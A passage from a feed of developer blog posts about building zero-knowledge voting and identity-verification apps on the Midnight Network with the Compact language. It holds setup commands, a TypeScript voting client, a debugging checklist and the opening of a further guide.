&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; midnight-proof-server &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 6300:6300 &lt;span class="se"&gt;\&lt;/span&gt;
  midnightntwrk/proof-server:8.1.0 &lt;span class="se"&gt;\&lt;/span&gt;
  midnight-proof-server &lt;span class="nt"&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify that the proof server is responsive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://localhost:6300/health
&lt;span class="c"&gt;# Response: {"status":"healthy"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Compiling the Contract
&lt;/h3&gt;

&lt;p&gt;Using the official Compact CLI toolchain (&lt;code&gt;compact-v0.5.2&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;compact compile anonymous_voting.compact &lt;span class="nt"&gt;--output&lt;/span&gt; ./managed/voting
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This generates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The zero-knowledge circuit binaries and proving keys.&lt;/li&gt;
&lt;li&gt;TypeScript contract wrappers (&lt;code&gt;Contract&lt;/code&gt;, types, and witness interfaces).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Client Interaction Script (&lt;code&gt;vote.ts&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Here is the client implementation demonstrating how private witnesses are injected and how the transaction is submitted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Contract&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./managed/voting/contract/index.cjs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;httpClientProofProvider&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@midnight-ntwrk/midnight-js-http-client-proof-provider&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;indexerPublicDataProvider&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@midnight-ntwrk/midnight-js-indexer-public-data-provider&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;levelPrivateStateProvider&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@midnight-ntwrk/midnight-js-level-private-state-provider&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;MidnightProviders&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@midnight-ntwrk/midnight-js-contracts&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// 1. Initialize Midnight Service Providers&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;proofProvider&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;httpClientProofProvider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:6300&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;publicDataProvider&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;indexerPublicDataProvider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://indexer.testnet.midnight.network/api/v1/graphql&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;wss://indexer.testnet.midnight.network/api/v1/graphql/ws&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;privateStateProvider&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;levelPrivateStateProvider&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;privateStoragePasswordProvider&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;secure-wallet-passphrase&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;accountId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;voter-local-account&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// 2. Secure Local Secret (kept strictly on-device)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;voterSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Helper: Calculate deterministic commitment H(secret)&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;deriveCommitment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sk&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Uint8Array&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sk&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// 3. Instantiate the Contract with Local Witness Providers&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;contractInstance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Contract&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="c1"&gt;// Witness 1: Feeds the private secret to the circuit&lt;/span&gt;
  &lt;span class="na"&gt;get_voter_secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;voterSecret&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="c1"&gt;// Witness 2: Fetches current Merkle path from the indexer&lt;/span&gt;
  &lt;span class="na"&gt;get_merkle_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;deployedContractAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;YOUR_DEPLOYED_CONTRACT_ADDRESS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;publicDataProvider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;queryContractState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deployedContractAddress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// In production, the indexer or Compact runtime provides path generation:&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;myCommitment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;deriveCommitment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;voterSecret&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;membershipPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;voter_tree&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findPathForLeaf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;myCommitment&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;membershipPath&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// 4. Casting an Anonymous Vote&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;castVote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;proposalName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;support&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Domain separation: derive a 32-byte poll identifier&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pollId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;sha256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;proposalName&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Generating local ZK proof for proposal: "&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;proposalName&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"...`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// callTx invokes the local proof server, produces the ZK proof,&lt;/span&gt;
  &lt;span class="c1"&gt;// attaches the public nullifier, and submits to validators.&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;contractInstance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;callTx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cast_vote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pollId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;support&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Vote successfully cast in Zero-Knowledge!`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Transaction ID: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;tx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;txId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Example Execution&lt;/span&gt;
&lt;span class="nf"&gt;castVote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SIP-042: Community Treasury Allocation&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Common Gotchas &amp;amp; Debugging Checklist
&lt;/h2&gt;

&lt;p&gt;When developing with Compact and the Midnight SDK, keep this checklist handy:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Issue / Error&lt;/th&gt;
&lt;th&gt;Root Cause&lt;/th&gt;
&lt;th&gt;Solution&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Witness-tainted value requires disclose()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trying to write witness-derived data into a &lt;code&gt;ledger&lt;/code&gt; state variable or returning it from an exported circuit.&lt;/td&gt;
&lt;td&gt;Wrap the variable in &lt;code&gt;disclose(val)&lt;/code&gt; after verifying that exposing this value does not compromise sensitive identity attributes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Stale Merkle Root Assertion Failed&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Using standard &lt;code&gt;MerkleTree&lt;/code&gt; in a multi-user environment where leaves are concurrently added while a proof is generating.&lt;/td&gt;
&lt;td&gt;Switch to &lt;code&gt;HistoricMerkleTree&amp;lt;depth, Type&amp;gt;&lt;/code&gt;. It tracks previous valid roots so asynchronous proofs confirm reliably.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Connection refused: localhost:6300&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The Proof Server container is either not running or blocked by local firewalls.&lt;/td&gt;
&lt;td&gt;Run &lt;code&gt;docker ps&lt;/code&gt; and confirm &lt;code&gt;midnightntwrk/proof-server:8.1.0&lt;/code&gt; is bound to &lt;code&gt;0.0.0.0:6300&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Replay attacks across multiple polls&lt;/td&gt;
&lt;td&gt;Computing nullifiers using only the secret without scoping parameters.&lt;/td&gt;
&lt;td&gt;Always include a domain separator (such as &lt;code&gt;poll_id&lt;/code&gt; or proposal hash) in the nullifier hash vector: &lt;code&gt;persistentHash&amp;lt;Vector&amp;lt;2, Bytes&amp;lt;32&amp;gt;&amp;gt;&amp;gt;([secret, domain])&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;Historic Merkle Tree + Nullifier Pattern&lt;/strong&gt; is the crown jewel of privacy-preserving decentralized architecture. By combining:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;HistoricMerkleTree&lt;/code&gt;&lt;/strong&gt; for asynchronous, non-blocking ZK membership proofs,&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Domain-Separated &lt;code&gt;persistentHash&lt;/code&gt;&lt;/strong&gt; for collision-resistant nullifiers, and&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Explicit &lt;code&gt;disclose()&lt;/code&gt; gating&lt;/strong&gt; to prevent inadvertent data leakage,&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Compact gives developers the power to build truly anonymous, Sybil-resistant governance and claiming systems without having to write raw cryptographic equations or manage complex polynomial commitments by hand.&lt;/p&gt;

&lt;p&gt;Are you building privacy-preserving dApps on Midnight? Share your use case or challenges below!&lt;/p&gt;

</description>
      <category>midnightfordevs</category>
      <category>web3</category>
      <category>blockchain</category>
      <category>zeroknowledge</category>
    </item>
    <item>
      <title>Zero-Knowledge Age Verification on Midnight: How Compact Enables Private On-Chain Data</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Mon, 10 Aug 2026 08:30:56 +0000</pubDate>
      <link>https://dev.to/midnight-aliit/zero-knowledge-age-verification-on-midnight-how-compact-enables-private-on-chain-data-139g</link>
      <guid>https://dev.to/midnight-aliit/zero-knowledge-age-verification-on-midnight-how-compact-enables-private-on-chain-data-139g</guid>
      <description>&lt;h2&gt;
  
  
  How do you verify user eligibility on-chain without revealing sensitive personal identity data?
&lt;/h2&gt;

&lt;p&gt;Traditional KYC processes force an unwanted trade-off: transparency versus privacy. Exposing dates of birth or identity credentials directly on a public ledger introduces severe privacy and security risks.&lt;/p&gt;

&lt;p&gt;Midnight Network solves this dilemma through a clean separation of Public vs. Private State:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Private State: The user's sensitive data (e.g., birthdate) stays on-device in their local environment/wallet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Public State: Only the verification status (e.g., a boolean true/false) is posted to the ledger.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How Compact Structures ZK Predicate Logic
&lt;/h2&gt;

&lt;p&gt;Midnight’s domain-specific language, Compact, allows developers to write zero-knowledge logic without drowning in complex cryptographic circuits.&lt;/p&gt;

&lt;p&gt;Here is how a simple ZK predicate for age verification looks in Compact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;AgeVerification&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;is_verified&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;transition&lt;/span&gt; &lt;span class="nf"&gt;verify_age&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;birth_year&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Uint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;current_year&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Executed inside the ZK circuit&lt;/span&gt;
        &lt;span class="nf"&gt;assert&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_year&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;birth_year&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="c1"&gt;// Public ledger only learns the boolean output&lt;/span&gt;
        &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_verified&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;caller&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How It Works Under the Hood
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Local Input: The user inputs their birth_year locally inside their wallet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ZK Proof Generation: The wallet executes the circuit locally and generates a Zero-Knowledge Proof confirming (current_year - birth_year) &amp;gt;= 18.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Off-Chain Privacy: The actual birth_year raw data never leaves the off-chain environment.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;On-Chain Verification: Validators only verify the validity of the mathematical proof—never the raw user inputs.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;This architecture replaces raw data exposure with verifiable cryptographic proofs. From selective KYC to private DeFi credit scoring, Midnight abstracts complex ZK mathematics into simple, readable logic.&lt;/p&gt;

&lt;p&gt;Building privacy-first dApps on Midnight changes how we handle data ownership on-chain.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>blockchain</category>
      <category>midnightfordevs</category>
      <category>privacy</category>
    </item>
    <item>
      <title>Mastering Zero-Knowledge Identity Patterns in Midnight with Compact</title>
      <dc:creator>Efe Kırbaş</dc:creator>
      <pubDate>Sun, 09 Aug 2026 08:10:34 +0000</pubDate>
      <link>https://dev.to/efek/mastering-zero-knowledge-identity-patterns-in-midnight-with-compact-2313</link>
      <guid>https://dev.to/efek/mastering-zero-knowledge-identity-patterns-in-midnight-with-compact-2313</guid>
      <description>&lt;p&gt;If you're coming from the world of EVM and Solidity, you know the golden rule: &lt;strong&gt;everything on the blockchain is public&lt;/strong&gt;. If you need to verify a user's identity, you typically have to store their public address or identity hash directly on-chain, creating a permanent, public trail of their activities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://midnight.network/" rel="noopener noreferrer"&gt;Midnight Network&lt;/a&gt; flips this paradigm on its head. As a data-protection blockchain, it allows developers to build applications that protect sensitive data while still guaranteeing execution correctness through Zero-Knowledge (ZK) proofs.&lt;/p&gt;

&lt;p&gt;In this guide, we're going to dive into &lt;strong&gt;Compact&lt;/strong&gt; (Midnight’s TypeScript-inspired smart contract language) and explore a fundamental privacy pattern: &lt;strong&gt;Zero-Knowledge Identity Verification&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Concept: Commit-Reveal Identity
&lt;/h2&gt;

&lt;p&gt;To verify a user without exposing who they are, we use a pattern where:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The user holds a &lt;strong&gt;Private Secret&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The contract stores a &lt;strong&gt;Public Commitment&lt;/strong&gt; (a hash of the secret).&lt;/li&gt;
&lt;li&gt;The user generates a &lt;strong&gt;ZK Proof&lt;/strong&gt; locally to prove they know the secret behind the commitment, without ever revealing the secret itself to the network.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In Compact, this is achieved through three core pillars:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ledger:&lt;/strong&gt; Public state visible to everyone.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Witness:&lt;/strong&gt; Private data that never leaves the user's local machine.&lt;/li&gt;
&lt;li&gt;
